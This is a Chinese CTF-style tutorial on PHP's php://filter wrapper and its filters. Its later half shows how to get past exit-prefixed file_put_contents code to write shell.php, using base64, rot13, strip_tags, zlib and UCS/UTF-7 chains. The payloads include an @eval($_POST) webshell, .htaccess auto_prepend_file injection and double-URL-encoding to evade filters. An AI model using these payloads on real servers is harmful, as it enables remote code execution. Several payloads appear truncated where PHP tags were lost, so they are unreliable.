前言:
对我来说,我以前对filter伪协议不甚了解,这次接触了这一题,就得主动去更加深入地了解一下filter伪协议了。以前呢就知道php://filter/read=convert.base64-encode/resource=[文件名]
这干瘪瘪的一套,用就完了,现在看来深入了解是很有必要的。
何为php://filter
官方文档的解释:
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
按我的理解来说:
它是一个php特有的协议,是一个过滤器,用于对 读取 或者 写入 的数据流进行处理,类似中间人的关系
php://filter 参数
以
php://filter/read=convert.base64-encode|convert.base64-encode/resource=data://text/plain,
为参考
名称 | 描述 |
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
1.resource =
后面可以接像data://这种格式的内容,对
base64编码两次
访问一下
解码两次
PS: resource后面使用 php://input 接收的POST流也可以
直接写文件名也可以
2.read & write
一个代表 读,一个代表 写
3.这里base64编码两次,编码之间使用 | 分隔
何为过滤器?
一条熟悉的语句:
php://filter/read=convert.base64-encode/resource=flag.php
//这其中convert.base64-encode 就是一种过滤器
过滤器的类型
根据官方文档,我们可以分成四种过滤器
1.字符串过滤器
string.rot13
介绍一下rot13
ROT-13 编码是一种每一个字母被另一个字母代替的方法。 这个代替字母是由原来的字母向前移动 13 个字母而得到的
payload:
php://filter/read=string.rot13/resource=flag.php
这个是flag.php的内容:
$flag = "{asd3-4vfdt-faklmk0-48ff}";
?>
读取后:
$synt = "{nfq3-4isqg-snxyzx0-48ss}";
?>
想要获取原内容很简单,再rot13编码一次便可以得到flag
string.toupper(将内容全部大写)
payload:
php://filter/read=string.toupper/resource=flag.php
结果:
$FLAG = "{ASD3-4VFDT-FAKLMK0-48FF}";
?>
string.tolower(将内容全部小写)
payload:
php://filter/read=string.tolower/resource=flag.php
结果:
$flag = "{asd3-4vfdt-faklmk0-48ff}";
?>
string.strip_tags
作用:
对于HTML来说,它会去除标签保留标签之间的内容
对于php来说,全杀一个不显示
警告
本特性已自 PHP 7.3.0 起废弃。强烈建议不要使用本特性
flag.php的内容:
$flag = "{asd3-4vfdt-faklmk0-48ff}";
?>
Home Page 无限大な梦のあとの
结果:
2.转换过滤器(convert.* )
convert.base64-encode & convert.base64-decode
payload:
php://filter/read=convert.base64-encode/resource=flag.php
结果:
PD9waHANCiRmbGFnID0gInthc2QzLTR2ZmR0LWZha2xtazAtNDhmZn0iOw0KPz4gDQo=
convert.quoted-printable-encode 和 convert.quoted-printable-decode
阐释:
与quoted_printable_decode()函数
quoted_printable_encode()函数
相同
Quoted-printable译为可打印字符引用编码,这里就是把一些不可打印的ASCII字符转换为十六进制的形式,下文中会再给出我的理解。
payload:
php://filter/read=convert.quoted-printable-encode/resource=flag.php
结果:
这里应该就是将'\n'换成0D0A的形式,如果碰到等号,就会在后面加上3D
convert.iconv.*
*的内容可以是:
UTF-8
UCS-2, UCS-2BE, UCS-2LE
UCS-4, UCS-4BE, UCS-4LE
UTF-16, UTF-16BE, UTF-16LE
UTF-32, UTF-32BE, UTF-32LE
UTF-7
这里特别补充说明一个点:
UCS-2LE.UCS-2BE、utf-7、utf-8
这些编码是可以通过'\n'拼接的,也就是意味着可以绕检测
举个例子:
php://filter/read=convert.iconv.ut%0Af-8.u%0Atf-7/resource=flag.php
如果题目过滤了utf,那么便可以使用此方法绕过(具体能不能使用还得看目标服务器,这个也不是绝对,不过是一个方法,也是一种思路,要多尝试)
结果:
不得不说,这个方法得到的东西太乱了,最好的解码方式就是本地解码
php://filter/read=convert.iconv.utf-7.utf-8/resource=flag.php
// 就是把原来的utf-7和utf-8交换一下位置
3.压缩过滤器
zlib.deflate(压缩)和 zlib.inflate(解压)
在激活 zlib 的前提下可以使用 zlib.* 压缩过滤器。
以为我没有激活,所以演示不了,只能贴一下payload了
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
加密过滤器
警告
本特性已自 PHP 7.1.0 起废弃。强烈建议不要使用本特性。
这个东西太奇怪了,这里不做讨论
小结
讲了这么多,我必须 在这里提醒你,过滤器不是必选!!可以不用,很多时候不用有妙用。不要以为php://filter必须用过滤器。而且当你使用的是php不认识的过滤器,php不会做任何处理,切记。
先来了解一下file_put_contents这个函数
file_put_contents ( string$filename , mixed$data [, int$flags = 0 [, resource$context ]] ) : int
两个必要参数:
string $filename ->文件的名字
mixed $data ->写入文件的数据
无特别说明,则文件都是被写入当前目录下
也可以通过
@mkdir()
@chdir()
来设置文件存放路径
还有一个关于file_put_contents 的非常有用的知识:
file_put_contents 可以调用伪协议,并且伪协议处理数据时会对过滤器 urldecode一次
举个例子:
传参输入:(字母 t urlencode两次 -->%7%34)
?php://filter/read=string.ro%7%3413/resource=flag.php
地址栏自动解码一次
?php://filter/read=string.ro%7413/resource=flag.php
file_put_contents 解码一次
$content=php://filter/read=string.rot13/resource=flag.php
从而绕过检测
绕过死亡exit有三种情况
情况一
$filename=$_GET['filename'];
$content=$_POST['content'];
file_put_contents($filename," ?>
死亡前后不一致
BASE64绕过
原理:前面的phpexit是七个字节,而BASE64是四个字节一组转换成三个字节,所以我们这里再添加一个字母补足前面的八个字节后面的内容才会被正确解析为
filename=php://filter/convert.base64-decode/resource=shell.php
// 这里不要再添加read= 不然后面的content内容不会被解码
content=aPD9waHAgcGhwaW5mbygpOz8+
rot13绕过
原理:,因此绕过
filename=php://filter/string.rot13/resource=shell.php
content=
过滤器嵌套绕过
原理:清除php原有的内容,再进行base64解码
filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php
content=?>PD9waHAgcGhwaW5mbygpOz8+
之后生成的shell.php内容就是;
需要注意的就是:string.strip_tags特性已自 PHP 7.3.0 起废弃。
如果废弃了,怎么办
filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=shell.php
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?>%0dphpinfo();?>/resource=shell.php
.htaccess的预包含利用
这个方法利用条件苛刻:
1.要知道所要的文件名的名字
2.满足php版本 < 7.3
$filename=php://filter/write=string.strip_tags/resource=.htaccess
$content=?>php_value auto_prepend_file D:\\wamp\\www\\test\flag.php
复现失败,暂时不知道原因,见谅
情况二:
$content=$_GET['content'];
file_put_contents($content," ?>
前后内容相同,也就是这次我写这篇文章的起因。
ROT13绕过
content=php://filter/string.rot13||/resource=shell.php
这里存在rot被过滤的情况,可以考虑编码绕过
payload:
php://filter/read=string.ro%7%3413/resource=flag.php
base64编码绕过
payload:
content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php
过滤器嵌套绕过
payload:
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?>/resource=shell.php
结果:
convert.iconv.*绕过
1.usc-2
usc-2就是对字符两位一反转
payload:
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?
?/resource=shell.php
结果:
2.usc-4
原理同上,四位一反转
payload:
php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?
?;)/resource=shell.php
3.uft
payload
php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php
结果:
情况三:
payload:
filename=shell.php
content=
结果:
如果不想要换行符的话,我们可以直接进行 \ 注释即可。然后再嵌入#注释符,从而达到单行注释就可以将杂糅代码注释掉的效果,这个是使用.htaccess文件达到的
payload:
filename=.htaccess
content=php_value%20auto_prepend_file%20C:\\flag%0a%23\
来源地址:https://blog.csdn.net/qq_64201116/article/details/125926612